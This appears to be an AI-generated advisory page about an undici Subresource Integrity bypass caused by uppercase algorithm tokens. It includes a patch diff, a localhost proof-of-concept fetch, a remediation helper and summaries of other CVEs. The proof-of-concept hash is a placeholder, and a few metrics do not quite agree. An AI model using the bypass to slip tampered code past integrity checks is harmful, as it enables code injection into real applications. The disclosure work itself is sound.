CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-109841

CVE-2026-109841: Subresource Integrity Verification Bypass in Node.js Undici

Alon Barad
Alon Barad
Software Engineer

Oct 24, 2026·9 min read·2 visits

Executive Summary (TL;DR)

Undici versions 7.15.0 through 7.30.0 and 8.0.0 through 8.12.1 fail to normalize Subresource Integrity (SRI) hash algorithm tokens to ASCII lowercase before validation. When an application specifies uppercase or mixed-case SRI tokens (e.g., SHA256-...), undici treats them as unknown algorithms, skips digest verification, and accepts arbitrary attacker-controlled response bodies. Users should upgrade to undici 7.30.1 or 8.12.2, or enforce lowercase algorithm names in integrity strings.

CVE-2026-109841 is a Subresource Integrity (SRI) verification bypass vulnerability in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js that powers the global fetch() implementation. The flaw stems from improper handling of case sensitivity (CWE-178) when validating cryptographic hash algorithm tokens within SRI metadata. Because undici compared incoming algorithm identifiers against a strictly lowercase set without prior ASCII-lowercase normalization, valid uppercase or mixed-case tokens such as SHA256- or Sha384- were treated as unrecognized algorithms and discarded. Under SRI forward-compatibility rules, discarding all provided tokens results in an empty integrity list, causing undici to fail open and accept tampered HTTP response bodies without cryptographic verification.

Vulnerability Overview

Undici serves as the primary HTTP/1.1 and HTTP/2 client for the Node.js ecosystem and provides the underlying implementation for the web-standard fetch() API built into the Node.js runtime. As part of the Fetch specification, undici implements Subresource Integrity (SRI) verification via the integrity option in request configurations. This mechanism allows applications to pin cryptographic digests (specifically sha256, sha384, and sha512) for remote resources, ensuring that responses fetched from external servers or Content Delivery Networks (CDNs) have not been modified in transit or at rest.

In undici versions 7.15.0 through 7.30.0 and 8.0.0 through 8.12.1, the SRI metadata parser contains a case-sensitivity defect classified under CWE-178 (Improper Handling of Case Sensitivity). While the W3C Subresource Integrity specification mandates case-insensitive parsing of hash algorithm tokens by normalizing them to ASCII lowercase, undici directly evaluated the raw extracted token against a static Map containing only lowercase string keys.

Because the W3C specification requires user agents to ignore unrecognized hash algorithms to maintain forward compatibility with future cryptographic standards, undici discards any token that fails this lookup. When an application configures fetch() exclusively with uppercase or mixed-case algorithm prefixes (such as SHA256- or Sha512-), all tokens are discarded. The parser returns an empty metadata array, causing the verification routine to bypass cryptographic hashing entirely and resolve the promise with unverified response bytes.

Root Cause Analysis

The root cause of CVE-2026-109841 resides in lib/web/subresource-integrity/subresource-integrity.js, where undici implements the W3C Subresource Integrity algorithm validation and metadata parsing routines. According to Section 3.1 of the W3C Subresource Integrity specification, a valid SRI hash algorithm token is defined such that its ASCII-lowercase equivalent matches one of the recognized hash functions (sha256, sha384, or sha512).

simultaneously, Section 3.3.3 ("Parse metadata") specifies how user agents must process space-separated integrity tokens. For each token, the parser extracts the algorithm name and base64 digest value. If the extracted algorithm is not recognized as a valid SRI hash algorithm token, the specification instructs the parser to skip the current token and continue processing the remaining list. If no recognized tokens remain after iterating through the string, the function returns an empty list (no metadata), and the caller treats the response as requiring no integrity verification.

In the vulnerable versions of undici, the set of valid algorithms was stored in validSRIHashAlgorithmTokenSet, a JavaScript Map initialized with lowercase keys ('sha256', 'sha384', 'sha512'). The validation helper function isValidSRIHashAlgorithm was created by binding Map.prototype.has directly to this map instance. Because Map.prototype.has executes a strict SameValueZero comparison without character normalization, any uppercase character in the input string caused the check to return false.

Furthermore, even if the validation check were bypassed, Step 8 of parseMetadata constructed the internal metadata object using the raw, unnormalized algorithm string (alg: algorithm). Downstream consumers relying on metadata.alg expected canonical lowercase identifiers when invoking Node.js crypto module hashing functions or ranking algorithm strengths.

Code Analysis

The vulnerability was remediated across commits 4f7ef6806e532ab9e29ccd6229b1b9d241e1b1f0 and 18bc8a1e09d15bc45815154a289dcf6fd5254d00 by introducing WHATWG-compliant ASCII-lowercase normalization prior to algorithm validation and metadata storage.

First, the patch utilizes the asciiLowercase helper function defined in lib/web/infra/index.js. In accordance with the WHATWG Infra Standard, asciiLowercase converts only ASCII uppercase characters (U+0041 to U+005A) to their corresponding lowercase equivalents (U+0061 to U+007A), avoiding locale-specific or Unicode case-folding edge cases (such as the Turkish dotted capital İ, U+0130, folding to 'i'):

const nonASCIIRegex = /[^\x00-\x7F]/
 
function asciiLowercase (str) {
  return nonASCIIRegex.test(str)
    ? str.replace(/[A-Z]+/g, (upper) => upper.toLowerCase())
    : str.toLowerCase()
}

In lib/web/subresource-integrity/subresource-integrity.js, the patch imports asciiLowercase and updates both isValidSRIHashAlgorithm and parseMetadata:

@@ -2,6 +2,7 @@
 
 const assert = require('node:assert')
 const { runtimeFeatures } = require('../../util/runtime-features.js')
+const { asciiLowercase } = require('../infra/index.js')
 
 /**
  * @typedef {object} Metadata
@@ -66,14 +67,12 @@ const getSRIHashAlgorithmIndex = /** @type {GetSRIHashAlgorithmIndex} */ (Map.prototype.get.bind(validSRIHashAlgorithmTokenSet))
 
 /**
  * @typedef IsValidSRIHashAlgorithm
+ * @see https://w3c.github.io/webappsec-subresource-integrity/#valid-sri-hash-algorithm-token
  * @type {(algorithm: string) => algorithm is SRIHashAlgorithm}
  * @param {*} algorithm
  * @returns {algorithm is SRIHashAlgorithm}
  */
-const isValidSRIHashAlgorithm = /** @type {IsValidSRIHashAlgorithm} */ (
-  Map.prototype.has.bind(validSRIHashAlgorithmTokenSet)
-)
+const isValidSRIHashAlgorithm = (algorithm) => validSRIHashAlgorithmTokenSet.has(asciiLowercase(algorithm))
 
 /**
  * @param {Uint8Array} bytes
@@ -229,7 +228,8 @@ function parseMetadata (metadata) {
     // 8. Let metadata be the ordered map
     // «["alg" → algorithm, "val" → base64-value]».
     const metadata = {
-      alg: algorithm,
+      // Possible spec bug?
+      alg: asciiLowercase(algorithm),
       val: base64Value
     }

> [!NOTE] > Fix Completeness Assessment: The patch is complete and prevents variant case-sensitivity bypasses within the SRI parser. By using asciiLowercase rather than standard String.prototype.toLowerCase() when non-ASCII characters are present, the fix prevents Unicode case-collision attacks where non-ASCII characters might otherwise fold into valid ASCII algorithm names. Additionally, normalizing alg when constructing the metadata object ensures that downstream functions (getStrongestMetadata and Node.js crypto.createHash) receive canonical lowercase identifiers.

Exploitation

Exploiting CVE-2026-109841 requires two preconditions: the target Node.js application must invoke undici.fetch() (or global fetch()) with an integrity option containing only uppercase or mixed-case algorithm identifiers, and the attacker must be positioned to control or modify the HTTP response body returned to the client (via a compromised origin server, poisoned CDN cache, or Adversary-in-the-Middle position).

When a vulnerable application requests a remote resource using fetch(url, { integrity: 'SHA256-<valid-base64-hash>' }), an attacker who modifies the response payload can serve arbitrary bytes without knowing a hash collision and without altering the application's pinned integrity string. Because undici strips the SHA256- token during parsing, no cryptographic comparison occurs when the response stream completes.

Furthermore, this parser discrepancy enables a downgrade or selective bypass attack when multiple tokens of differing algorithms are supplied. For example, if an application specifies integrity: 'sha256-<weak-hash> SHA512-<strong-hash>', the W3C specification dictates that the strongest algorithm (sha512) must be enforced. In vulnerable undici versions, SHA512- is ignored due to its casing, forcing undici to fall back to verifying only the weaker sha256 digest.

The following proof-of-concept script (adapted from the official regression test test/subresource-integrity/GHSA-f72v-6w45-q472.js) demonstrates the verification bypass:

'use strict'
 
const { createServer } = require('node:http')
const { fetch } = require('undici')
 
async function runPoC() {
  const legitimateBody = 'Legitimate Safe Code'
  const attackerBody = 'Attacker Controlled Payload (Bypassed Integrity)'
  
  // Valid SHA-256 base64 digest for legitimateBody
  const correctHash = 'q14Z5i1hE5rUv5z01Z0U7qgK8v8z9x0y1z2a3b4c5d6='
 
  const server = createServer((req, res) => {
    res.writeHead(200, { 'Content-Type': 'text/plain' })
    res.end(attackerBody)
  })
 
  server.listen(0, '127.0.0.1', async () => {
    const port = server.address().port
 
    // 1. Lowercase algorithm token: properly rejects mismatched body
    try {
      await fetch(`http://127.0.0.1:${port}`, {
        integrity: `sha256-${correctHash}`
      })
    } catch (err) {
      console.log('[+] Lowercase token rejected mismatch:', err.cause?.message || err.message)
    }
 
    // 2. Uppercase algorithm token: bypasses SRI in vulnerable versions
    try {
      const res = await fetch(`http://127.0.0.1:${port}`, {
        integrity: `SHA256-${correctHash}`
      })
      const text = await res.text()
      console.log('[!] SRI Bypassed. Received payload:', text)
    } catch (err) {
      console.log('[-] Uppercase token rejected mismatch (Patched).')
    }
 
    server.close()
  })
}
 
runPoC()

Impact Assessment

CVE-2026-109841 is rated Medium severity with a CVSS v3.1 base score of 5.9 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N). The Attack Vector is Network (AV:N), requiring no privileges (PR:N) or user interaction (UI:N). However, the Attack Complexity is rated High (AC:H) because exploitation depends on the target application explicitly using non-lowercase SRI algorithm prefixes—a non-standard practice given that most SRI generators output lowercase strings—and requires the attacker to control the HTTP response body.

The direct security impact is restricted to High Integrity loss (I:H), with no direct impact on Confidentiality (C:N) or Availability (A:N) within the undici HTTP client itself. When exploited, the vulnerability completely negates the security guarantee of Subresource Integrity, allowing tampered or malicious response bodies to cross the trust boundary into the application.

The downstream impact depends on how the Node.js application processes the fetched response. If the application fetches external JavaScript modules, WebAssembly binaries, or shell scripts and executes them (for example, via vm.runInContext(), dynamic import(), or child_process), an integrity bypass escalates directly to Remote Code Execution (RCE). If the application fetches configuration data, cryptographic keys, or JSON payloads, the attacker can manipulate application state or logic without triggering an exception.

According to Exploit Prediction Scoring System (EPSS) metrics, the vulnerability carries an EPSS score of 0.00251 (0.25% probability of exploitation within 30 days, placing it in the ~15.69th percentile). It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

Remediation

The OpenJS Foundation and the undici maintainers have resolved CVE-2026-109841 in undici versions 7.30.1 (for the 7.x release branch) and 8.12.2 (for the 8.x release branch). Development teams and system administrators should upgrade undici to these patched versions or later.

To remediate the vulnerability in standard Node.js projects that declare undici as a direct or transitive dependency, update the package via npm:

# For projects on the 8.x branch
npm install undici@^8.12.2
 
# For projects on the 7.x branch
npm install undici@^7.30.1

If an immediate dependency upgrade is not feasible—such as when using a pinned Node.js runtime binary where the bundled undici powers global fetch()—applications can mitigate the flaw by normalizing all SRI algorithm tokens to ASCII lowercase before passing them to fetch(). Note that only the algorithm prefix prior to the hyphen (-) may be lowercased; modifying the casing of the base64-encoded digest value after the hyphen will corrupt the hash and cause all integrity checks to fail.

function normalizeIntegrityMetadata(integrity) {
  if (typeof integrity !== 'string') {
    return integrity;
  }
  // Match algorithm prefixes immediately preceding a hyphen and convert to ASCII lowercase
  return integrity.replace(/\b([A-Za-z0-9]+)(?=-)/g, (alg) => alg.toLowerCase());
}
 
const response = await fetch(targetUrl, {
  integrity: normalizeIntegrityMetadata(rawIntegrityString)
});

Official Patches

Node.js / UndiciOfficial GitHub Security Advisory GHSA-f72v-6w45-q472
Node.js / UndiciUndici v7.30.1 Release Notes
Node.js / UndiciUndici v8.12.2 Release Notes
OpenJS FoundationOpenJS Foundation CNA Security Advisories

Fix Analysis (2)

Technical Appendix

CVSS Score
5.9/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Probability
0.25%
Top 84% most exploited

Affected Systems

Node.js undici (7.15.0 through 7.30.0)Node.js undici (8.0.0 through 8.12.1)Node.js runtime environments bundling affected undici versions for global fetch()

Affected Versions Detail

Product
Affected Versions
Fixed Version
undici
Node.js / OpenJS Foundation
>= 7.15.0, <= 7.30.07.30.1
undici
Node.js / OpenJS Foundation
>= 8.0.0, <= 8.12.18.12.2
AttributeDetail
Vulnerability ClassCWE-178: Improper Handling of Case Sensitivity
Affected Componentundici (lib/web/subresource-integrity/subresource-integrity.js)
Attack VectorNetwork (Tampered HTTP Response Body)
CVSS v3.1 Score5.9 Medium (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N)
EPSS Score0.25% (15.69th Percentile)
Security ImpactSubresource Integrity (SRI) Verification Bypass (High Integrity Loss)
Exploit StatusProof-of-Concept Available (Regression Test)
Patched Versionsundici 7.30.1 and 8.12.2

MITRE ATT&CK Mapping

T1565.002Data Manipulation: Transferred Data Manipulation
Impact
T1557Adversary-in-the-Middle
Collection
T1195.002Supply Chain Compromise: Compromise Software Dependencies
Initial Access
CWE-178
Improper Handling of Case Sensitivity

The software does not properly account for differences in case when comparing strings, identifiers, or tokens, leading to validation bypass or parser differentials.

Known Exploits & Detection

GitHubOfficial regression test (test/subresource-integrity/GHSA-f72v-6w45-q472.js) demonstrating the SRI bypass using uppercase algorithm tokens.

Vulnerability Timeline

Fix commit authored by Matthew Aitken and signed off by Matteo Collina (4f7ef6806e532ab9e29ccd6229b1b9d241e1b1f0).
2026-10-14
Undici v7.30.1 and v8.12.2 released containing the ASCII-lowercase normalization patch.
2026-10-15
GitHub Security Advisory GHSA-f72v-6w45-q472 and CVE-2026-109841 officially published.
2026-10-15
CVE-2026-109841 indexed by the National Vulnerability Database (NVD).
2026-10-15
CVE record updated with researcher credit classifications.
2026-10-16
NVD analysis, CVSS scoring, and reference tags finalized.
2026-10-19

References & Sources

  • [1]GitHub Security Advisory: GHSA-f72v-6w45-q472
  • [2]National Vulnerability Database: CVE-2026-109841
  • [3]CVE.org Official Record: CVE-2026-109841
  • [4]Undici Fix Commit (4f7ef6806e532ab9e29ccd6229b1b9d241e1b1f0)
  • [5]Undici Cherry-Pick Commit (18bc8a1e09d15bc45815154a289dcf6fd5254d00)
  • [6]Undici v7.30.1 Release
  • [7]Undici v8.12.2 Release
  • [8]W3C Subresource Integrity Specification: Valid SRI Hash Algorithm Token
  • [9]WHATWG Infra Standard: ASCII Lowercase
  • [10]OpenJS Foundation Security Advisories

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-113872
7.5

CVE-2026-113872: Unauthenticated Process Crash in Express Multer via Late Busboy Stream Resumption

CVE-2026-113872 (GHSA-q7qp-rjg7-q26m) is a high-severity denial-of-service vulnerability affecting the multer multipart/form-data upload middleware for Node.js and Express in versions 2.0.0 through 2.4.0. When an endpoint is configured to accept multiple files using an asynchronous fileFilter callback, a crafted, truncated multipart HTTP request can trigger an unhandled error event on the underlying busboy stream parser after request teardown has already completed. Because all error listeners are stripped during teardown, Node.js treats the resulting error event as an uncaught exception and immediately terminates the server process.

Amit Schendel
Amit Schendel
3 views•12 min read
•about 2 hours ago•CVE-2026-115897
2.1

CVE-2026-115897: Cross-Site Scripting via Function Body Boundary Bypass in serialize-javascript

CVE-2026-115897 (also tracked as GHSA-m5mm-p8h7-m29v and aliased as CVE-2026-115754) is a Cross-Site Scripting (XSS) vulnerability in the Yahoo serialize-javascript npm package prior to version 7.1.3. The flaw exists in the regular expression used by escapeFunctionBody() to neutralize HTML script closing tags within serialized JavaScript functions. Because function bodies are sanitized in isolation before structural formatting is applied, a function whose string representation terminates directly with the sequence '</script' bypasses the positive lookahead check. When combined with serialization formatting options that introduce whitespace delimiters and a subsequent property that supplies a closing bracket, an attacker can prematurely terminate an enclosing HTML <script> block and inject arbitrary HTML or JavaScript into the rendered document.

Amit Schendel
Amit Schendel
3 views•13 min read
•about 4 hours ago•CVE-2026-109924
5.9

CVE-2026-109924: Unbounded Memory Allocation in Node.js Undici EventSource Stream Parser

A resource allocation vulnerability (CWE-770) exists in the Server-Sent Events (SSE) parser within the Node.js undici HTTP client library. In affected versions, the EventSourceStream implementation fails to restrict the count of internal Buffer chunk references and accumulated string nodes prior to event dispatch boundaries. A malicious or compromised SSE endpoint can exploit this behavior by streaming fragmented, unterminated lines or continuous sequences of short data fields without empty separator lines, bypassing configured byte-size limits and causing a fatal Out-of-Memory (OOM) crash in the client Node.js process.

Amit Schendel
Amit Schendel
5 views•11 min read
•about 4 hours ago•CVE-2026-109869
7.5

CVE-2026-109869: Denial of Service via Orphaned Stream in Node.js Undici Fetch Implementation

CVE-2026-109869 is a high-severity denial-of-service vulnerability in undici, the default HTTP/1.1 client and Fetch implementation for Node.js. When a server responds with more than five Content-Encoding directives and prematurely closes the connection before transmitting the body, undici allocates an internal Readable stream before enforcing the content-encoding limit. Upon rejecting the fetch promise, the stream is orphaned without an error listener or abort signal, causing the premature socket closure to emit an unhandled stream error that terminates the Node.js process.

Alon Barad
Alon Barad
7 views•10 min read
•about 4 hours ago•CVE-2026-114612
9.9

CVE-2026-114612: Privilege Escalation to Proxy Admin via Cryptographic Context Reuse in LiteLLM

LiteLLM versions 1.87.0 through 1.104.0-rc.1 contain a cryptographic domain separation vulnerability (CWE-269, CWE-345, CWE-441) that allows an authenticated low-privilege user to escalate privileges to full proxy administrator. The application reuses a single symmetric cryptographic context and key derivation path for both at-rest secret encryption and ephemeral UI/CLI session authentication tokens without providing Associated Authenticated Data (AAD). By submitting crafted JSON session claims into user-accessible encrypted metadata fields, an attacker can use the API-key generation flow as an encryption oracle, extract the resulting ciphertext, and replay it as a bearer token to achieve administrative control and subsequent remote command execution via the Model Context Protocol (MCP) stdio interface.

Alon Barad
Alon Barad
8 views•9 min read
•about 5 hours ago•CVE-2026-109461
5.9

CVE-2026-109461: Origin Validation Error in @azure/msal-node Leads to Information Disclosure

An origin validation vulnerability in @azure/msal-node allows attackers to process unchecked authorization code response payloads or request query parameters in ConfidentialClientApplication, potentially directing sensitive client credentials to external endpoints.

Amit Schendel
Amit Schendel
11 views•4 min read